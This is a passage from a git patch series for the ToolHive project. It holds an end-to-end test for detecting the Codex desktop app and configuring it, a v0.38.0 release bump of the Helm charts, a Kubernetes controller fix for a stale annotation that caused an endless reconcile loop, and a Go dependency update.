Describe("thv llm — all-client matrix", Label("cli", "llm", "clients", return config } + It("detects the macOS desktop app without CLI evidence", func() { + if runtime.GOOS != osDarwin { + Skip("Codex desktop detection is macOS-only") + } + + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + configPath := filepath.Join(tempDir, ".codex", "config.toml") + plistPath := filepath.Join(tempDir, "Applications", "ChatGPT.app", "Contents", "Info.plist") + plist := ` + +CFBundleIdentifiercom.openai.codex` + + By("creating only the ChatGPT desktop app bundle evidence") + Expect(os.MkdirAll(filepath.Dir(plistPath), 0750)).To(Succeed()) + Expect(os.WriteFile(plistPath, []byte(plist), 0600)).To(Succeed()) + _, err := os.Stat(filepath.Join(tempDir, ".codex")) + Expect(os.IsNotExist(err)).To(BeTrue(), ".codex must not exist before setup") + _, err = os.Stat(filepath.Join(binDir, "codex")) + Expect(os.IsNotExist(err)).To(BeTrue(), "no fake codex binary should exist") + + // plutil is invoked by absolute path (/usr/bin/plutil) so it does + // not need to be on $PATH. The PATH is still restricted to exclude + // user-level package-manager paths that may contain a real Codex CLI. + appOnlyTHVCmd := func(args ...string) *e2e.THVCommand { + return thvCmd(args...).WithEnv("PATH=" + binDir + ":/usr/bin:/bin") + } + stdout, stderr, err := runSetupWithOIDCCompletion( + appOnlyTHVCmd, oidcServer, + "--client", "codex", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + + By("verifying app-only detection wrote the canonical Codex configuration") + config := readCodexConfig(configPath) + Expect(config["model_provider"]).To(Equal("toolhive-gateway")) + providers, ok := config["model_providers"].(map[string]any) + Expect(ok).To(BeTrue()) + provider, ok := providers["toolhive-gateway"].(map[string]any) + Expect(ok).To(BeTrue()) + Expect(provider["base_url"]).To(Equal(gatewayURL + "/v1")) + auth, ok := provider["auth"].(map[string]any) + Expect(ok).To(BeTrue()) + Expect(auth["command"]).ToNot(BeEmpty()) + Expect(auth["args"]).To(Equal([]any{"llm", "token", "--skip-browser"})) + + showOut, _ := appOnlyTHVCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(HaveLen(1)) + Expect(string(cfg.ConfiguredTools[0].Tool)).To(Equal("codex")) + Expect(cfg.ConfiguredTools[0].Mode).To(Equal("codex-auth")) + + By("tearing down and verifying the provider is removed") + appOnlyTHVCmd("llm", "teardown", "codex").ExpectSuccess() + config = readCodexConfig(configPath) + _, hasModelProvider := config["model_provider"] + Expect(hasModelProvider).To(BeFalse()) + if providers, ok := config["model_providers"].(map[string]any); ok { + _, stillPresent := providers["toolhive-gateway"] + Expect(stillPresent).To(BeFalse()) + } + showOut, _ = appOnlyTHVCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty()) + }) + It("writes the model_provider and auth command, then reverts them", func() { issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) codexDir := filepath.Join(tempDir, ".codex") From 116421213382e82016067d32581b61f4fe1ab807 Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Wed, 15 Jul 2026 10:25:53 -0700 Subject: [PATCH 55/66] Release v0.38.0 (#5820) Update release files Release-Triggered-By: jerm-dro Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index 0f1a7dfc7c..ca75280b09 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.37.0 +0.38.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 37e8a7a2f6..756c3fb1cb 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.37.0 -appVersion: "v0.37.0" +version: 0.38.0 +appVersion: "v0.38.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index cfae4df6e1..0fbca31b87 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.37.0](https://img.shields.io/badge/Version-0.37.0-informational?style=flat-square) +![Version: 0.38.0](https://img.shields.io/badge/Version-0.38.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index 031a4f8cd8..4b01bfc334 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.37.0 -appVersion: "v0.37.0" +version: 0.38.0 +appVersion: "v0.38.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index af6d4d45ca..12109c8b9b 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.37.0](https://img.shields.io/badge/Version-0.37.0-informational?style=flat-square) +![Version: 0.38.0](https://img.shields.io/badge/Version-0.38.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.37.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.37.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.38.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.38.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.37.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.38.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.37.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.38.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index b92c89db20..75db2437c1 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.37.0 + image: ghcr.io/stacklok/toolhive/operator:v0.38.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.37.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.38.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From 2894cace60187141c92eed9bb689eedf287fac8b Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Thu, 16 Jul 2026 08:52:21 +0100 Subject: [PATCH 56/66] Stop VirtualMCPServer hot-reconcile on cleared imagePullSecrets (#5821) A stale imagePullRefsHashAnnotation left on a Deployment from a prior reconcile (when imagePullSecrets was non-empty) survived every MergeAnnotations call once the desired list became empty, since the desired map no longer carried a key to overwrite it. That made imagePullSecretsNeedsUpdate report drift on every reconcile, updating the Deployment roughly twice every 30 seconds indefinitely. Make imagePullSecretsNeedsUpdate a plain hash comparison, and prune the annotation explicitly at the write site when it's no longer wanted so the stale key actually gets removed instead of resurrected by the merge. Fixes #5817 --- .../virtualmcpserver_controller.go | 30 +++-- .../virtualmcpserver_controller_test.go | 111 ++++++++++++++++++ 2 files changed, 134 insertions(+), 7 deletions(-) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index e1f312ac79..f3bd25149a 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -1512,7 +1512,7 @@ func (r *VirtualMCPServerReconciler) ensureDeployment( // loop will retry automatically. Kubernetes' optimistic locking prevents data loss. deployment.Spec.Template = newDeployment.Spec.Template deployment.Labels = newDeployment.Labels - deployment.Annotations = ctrlutil.MergeAnnotations(newDeployment.Annotations, deployment.Annotations) + deployment.Annotations = mergeDeploymentAnnotations(newDeployment.Annotations, deployment.Annotations) if newDeployment.Spec.Replicas != nil { deployment.Spec.Replicas = newDeployment.Spec.Replicas } @@ -1815,6 +1815,22 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( return deployment.Annotations[podTemplateSpecHashAnnotation] != expectedHash } +// mergeDeploymentAnnotations merges desired Deployment annotations onto the +// live ones via ctrlutil.MergeAnnotations, then prunes imagePullRefsHashAnnotation +// from the result if desired no longer wants it. MergeAnnotations preserves any +// live key absent from desired so externally-managed annotations survive, but +// imagePullRefsHashAnnotation is operator-owned: when the desired imagePullSecrets +// list is empty, desired carries no annotation for it, and a stale value left by +// a prior reconcile must be pruned explicitly or it survives forever and +// imagePullSecretsNeedsUpdate flags drift on every reconcile (#5817). +func mergeDeploymentAnnotations(desired, live map[string]string) map[string]string { + merged := ctrlutil.MergeAnnotations(desired, live) + if _, wantHash := desired[imagePullRefsHashAnnotation]; !wantHash { + delete(merged, imagePullRefsHashAnnotation) + } + return merged +} + // imagePullSecretsNeedsUpdate detects drift on the desired imagePullSecrets // list (chart-level defaults merged with vmcp.Spec.ImagePullSecrets) by // comparing a hash of the desired list against the value stored in @@ -1825,6 +1841,12 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( // would either flag spurious drift or miss real changes depending on // PodTemplateSpec content. PodTemplateSpec drift is covered separately by // podTemplateSpecNeedsUpdate. +// +// A missing annotation reads as "" via map indexing, which equals an empty +// expected hash — so an absent annotation with an empty desired list is +// correctly the steady state. The write path in ensureDeployment is +// responsible for actually deleting the annotation once it is no longer +// wanted; without that, this comparison would flag drift every reconcile. func (r *VirtualMCPServerReconciler) imagePullSecretsNeedsUpdate( ctx context.Context, deployment *appsv1.Deployment, @@ -1839,12 +1861,6 @@ func (r *VirtualMCPServerReconciler) imagePullSecretsNeedsUpdate( log.FromContext(ctx).Error(err, "Failed to hash imagePullSecrets, assuming update needed") return true } - // An empty desired list means the annotation should be absent; an absent annotation - // with an empty desired list is the steady state and must not trigger an update. - _, present := deployment.Annotations[imagePullRefsHashAnnotation] - if expectedHash == "" { - return present - } return deployment.Annotations[imagePullRefsHashAnnotation] != expectedHash } diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go index 32ef6aca9b..3f2eb0fee1 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go @@ -2534,6 +2534,117 @@ func TestVirtualMCPServerEnsureDeployment_NoUpdateNeeded(t *testing.T) { assert.Equal(t, ctrl.Result{}, result) } +// TestVirtualMCPServerEnsureDeployment_RemovesStaleImagePullSecretsHash is a +// regression test for #5817: a stale imagePullRefsHashAnnotation left over +// from a prior reconcile (when imagePullSecrets was non-empty) must be +// removed once the desired list is empty, and reconciling again from that +// cleaned-up state must be a no-op rather than looping forever. +func TestVirtualMCPServerEnsureDeployment_RemovesStaleImagePullSecretsHash(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + vmcp := v1beta1test.NewVirtualMCPServer(testVmcpName, "default", + v1beta1test.WithVMCPGroupRef(testGroupName), + ) + + configMap := &corev1.ConfigMap{ + ObjectMeta: metav1.ObjectMeta{ + Name: vmcpConfigMapName(vmcp.Name), + Namespace: "default", + Annotations: map[string]string{ + checksum.ContentChecksumAnnotation: "test-checksum", + }, + }, + Data: map[string]string{ + "config.yaml": "test-config", + }, + } + + reconciler := &VirtualMCPServerReconciler{ + Client: fake.NewClientBuilder().WithScheme(scheme).Build(), + Scheme: scheme, + } + + expectedLabels, expectedAnnotations := reconciler.buildPodTemplateMetadata( + labelsForVirtualMCPServer(vmcp.Name), vmcp, "test-checksum", + ) + + // Deployment otherwise matches the desired state exactly, except it + // carries a stale imagePullRefsHashAnnotation from before imagePullSecrets + // was cleared on the VirtualMCPServer. + staleDeployment := &appsv1.Deployment{ + ObjectMeta: metav1.ObjectMeta{ + Name: testVmcpName, + Namespace: "default", + Labels: labelsForVirtualMCPServer(vmcp.Name), + Annotations: map[string]string{ + imagePullRefsHashAnnotation: "stale-hash", + }, + }, + Spec: appsv1.DeploymentSpec{ + Selector: &metav1.LabelSelector{ + MatchLabels: labelsForVirtualMCPServer(vmcp.Name), + }, + Template: corev1.PodTemplateSpec{ + ObjectMeta: metav1.ObjectMeta{ + Labels: expectedLabels, + Annotations: expectedAnnotations, + }, + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + { + Name: "vmcp", + Image: getVmcpImage(), + Ports: []corev1.ContainerPort{ + {ContainerPort: 4483}, + }, + Env: mustBuildEnvVarsForVmcp(reconciler, vmcp), + }, + }, + ServiceAccountName: vmcpServiceAccountName(vmcp.Name), + }, + }, + }, + } + + k8sClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(vmcp, configMap, staleDeployment). + Build() + reconciler.Client = k8sClient + + // First reconcile cleans up the stale annotation. + result, err := reconciler.ensureDeployment(context.Background(), vmcp, nil, []workloads.TypedWorkload{}) + require.NoError(t, err) + assert.Equal(t, ctrl.Result{}, result) + + deployment := &appsv1.Deployment{} + require.NoError(t, k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcp.Name, + Namespace: vmcp.Namespace, + }, deployment)) + _, present := deployment.Annotations[imagePullRefsHashAnnotation] + assert.False(t, present, "stale imagePullRefsHashAnnotation must be removed once desired list is empty") + + resourceVersionAfterCleanup := deployment.ResourceVersion + + // Second reconcile from the now-clean steady state must be a no-op. + // Without both fixes, this would keep re-detecting drift and updating + // forever — the hot-reconcile loop from #5817. + result, err = reconciler.ensureDeployment(context.Background(), vmcp, nil, []workloads.TypedWorkload{}) + require.NoError(t, err) + assert.Equal(t, ctrl.Result{}, result) + + deployment = &appsv1.Deployment{} + require.NoError(t, k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcp.Name, + Namespace: vmcp.Namespace, + }, deployment)) + assert.Equal(t, resourceVersionAfterCleanup, deployment.ResourceVersion, + "reconciling from steady state must not write again") +} + func TestVirtualMCPServerEnsureService_CreateService(t *testing.T) { t.Parallel() From e4c7c1c0faff1d260679d2defa1fb0f056fabf23 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Thu, 16 Jul 2026 13:53:28 +0300 Subject: [PATCH 57/66] Update module github.com/stacklok/toolhive-core to v0.0.28 (#5798) * Update module github.com/stacklok/toolhive-core to v0.0.28 * Regenerate swagger docs for toolhive-core v0.0.28 v0.0.28 re-adds "cargo" to the RegistryType and RegistryBaseURL field descriptions. Renovate bumped the module but did not regenerate the API docs, failing the swagger verification check. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Juan Antonio Osorio Co-authored-by: Claude Opus 4.8 --- docs/server/docs.go | 4 +- docs/server/swagger.json | 4 +- docs/server/swagger.yaml | 4 +- go.mod | 38 ++++++++--------- go.sum | 92 ++++++++++++++++++++-------------------- 5 files changed, 71 insertions(+), 71 deletions(-) diff --git a/docs/server/docs.go b/docs/server/docs.go index 267f322c79..f0211c7d98 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -2360,13 +2360,13 @@ const docTemplate = `{ "uniqueItems": false }, "registryBaseUrl": { - "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget; not used by oci, mcpb)", + "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget, cargo; not used by oci, mcpb)", "example": "https://registry.npmjs.org", "format": "uri", "type": "string" }, "registryType": { - "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"oci\", \"nuget\", \"mcpb\")", + "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"cargo\", \"oci\", \"nuget\", \"mcpb\")", "example": "npm", "minLength": 1, "type": "string" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index a68ec0aa8c..62bce5c807 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -2353,13 +2353,13 @@ "uniqueItems": false }, "registryBaseUrl": { - "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget; not used by oci, mcpb)", + "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget, cargo; not used by oci, mcpb)", "example": "https://registry.npmjs.org", "format": "uri", "type": "string" }, "registryType": { - "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"oci\", \"nuget\", \"mcpb\")", + "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"cargo\", \"oci\", \"nuget\", \"mcpb\")", "example": "npm", "minLength": 1, "type": "string" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index b22c644e5e..49e7f9827a 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -2294,13 +2294,13 @@ components: uniqueItems: false registryBaseUrl: description: RegistryBaseURL is the base URL of the package registry (used - by npm, pypi, nuget; not used by oci, mcpb) + by npm, pypi, nuget, cargo; not used by oci, mcpb) example: https://registry.npmjs.org format: uri type: string registryType: description: RegistryType indicates how to download packages (e.g., "npm", - "pypi", "oci", "nuget", "mcpb") + "pypi", "cargo", "oci", "nuget", "mcpb") example: npm minLength: 1 type: string diff --git a/go.mod b/go.mod index 1f434b1fd1..5ad289a951 100644 --- a/go.mod +++ b/go.mod @@ -8,8 +8,8 @@ require ( github.com/alicebob/miniredis/v2 v2.38.0 github.com/atotto/clipboard v0.1.4 github.com/aws/aws-sdk-go-v2 v1.42.1 - github.com/aws/aws-sdk-go-v2/config v1.32.28 - github.com/aws/aws-sdk-go-v2/service/sts v1.44.0 + github.com/aws/aws-sdk-go-v2/config v1.32.30 + github.com/aws/aws-sdk-go-v2/service/sts v1.44.1 github.com/cedar-policy/cedar-go v1.8.0 github.com/cenkalti/backoff/v5 v5.0.3 github.com/charmbracelet/bubbles v1.0.0 @@ -17,7 +17,7 @@ require ( github.com/charmbracelet/lipgloss v1.1.0 github.com/charmbracelet/x/ansi v0.11.7 github.com/containerd/errdefs v1.0.0 - github.com/coreos/go-oidc/v3 v3.19.0 + github.com/coreos/go-oidc/v3 v3.20.0 github.com/docker/go-connections v0.7.0 // indirect github.com/evanphx/json-patch/v5 v5.9.11 github.com/go-chi/chi/v5 v5.3.0 @@ -26,7 +26,7 @@ require ( github.com/go-jose/go-jose/v3 v3.0.5 github.com/go-jose/go-jose/v4 v4.1.4 github.com/gofrs/flock v0.13.0 - github.com/google/cel-go v0.29.1 + github.com/google/cel-go v0.29.2 github.com/google/go-cmp v0.7.0 github.com/google/go-containerregistry v0.21.7 github.com/google/uuid v1.6.0 @@ -34,7 +34,7 @@ require ( github.com/lestrrat-go/jwx/v3 v3.0.13 github.com/mark3labs/mcp-go v0.55.1 github.com/moby/moby/client v0.4.1 - github.com/modelcontextprotocol/registry v1.7.9 + github.com/modelcontextprotocol/registry v1.8.0 github.com/oauth2-proxy/mockoidc v0.0.0-20240214162133-caebfff84d25 github.com/olekukonko/tablewriter v1.1.4 github.com/onsi/ginkgo/v2 v2.28.1 @@ -50,7 +50,7 @@ require ( github.com/shirou/gopsutil/v4 v4.26.5 github.com/spf13/viper v1.21.0 github.com/stacklok/toolhive-catalog v0.20260706.0 - github.com/stacklok/toolhive-core v0.0.27 + github.com/stacklok/toolhive-core v0.0.28 github.com/stretchr/testify v1.11.1 github.com/swaggo/swag/v2 v2.0.0-rc5 github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd @@ -67,10 +67,10 @@ require ( go.uber.org/zap v1.28.0 golang.ngrok.com/ngrok/v2 v2.1.4 golang.org/x/exp/jsonrpc2 v0.0.0-20260611194520-c48552f49976 - golang.org/x/mod v0.37.0 + golang.org/x/mod v0.38.0 golang.org/x/oauth2 v0.36.0 - golang.org/x/sync v0.21.0 - golang.org/x/term v0.44.0 + golang.org/x/sync v0.22.0 + golang.org/x/term v0.45.0 golang.org/x/time v0.15.0 gopkg.in/yaml.v3 v3.0.1 k8s.io/api v0.35.3 @@ -104,15 +104,15 @@ require ( github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/antlr4-go/antlr/v4 v4.13.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.19.27 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.19.29 // indirect github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 // indirect github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 // indirect github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 // indirect github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 // indirect - github.com/aws/aws-sdk-go-v2/service/signin v1.3.0 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.32.0 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0 // indirect + github.com/aws/aws-sdk-go-v2/service/signin v1.4.1 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.32.1 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1 // indirect github.com/aws/smithy-go v1.27.3 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect @@ -291,9 +291,9 @@ require ( go.yaml.in/yaml/v3 v3.0.4 // indirect golang.ngrok.com/muxado/v2 v2.0.1 // indirect golang.org/x/exp/event v0.0.0-20260603202125-055de637280b // indirect - golang.org/x/net v0.56.0 // indirect - golang.org/x/text v0.38.0 // indirect - golang.org/x/tools v0.46.0 // indirect + golang.org/x/net v0.57.0 // indirect + golang.org/x/text v0.40.0 // indirect + golang.org/x/tools v0.47.0 // indirect golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect @@ -309,7 +309,7 @@ require ( modernc.org/libc v1.72.1 // indirect modernc.org/mathutil v1.7.1 // indirect modernc.org/memory v1.11.0 // indirect - oras.land/oras-go/v2 v2.6.1 + oras.land/oras-go/v2 v2.6.2 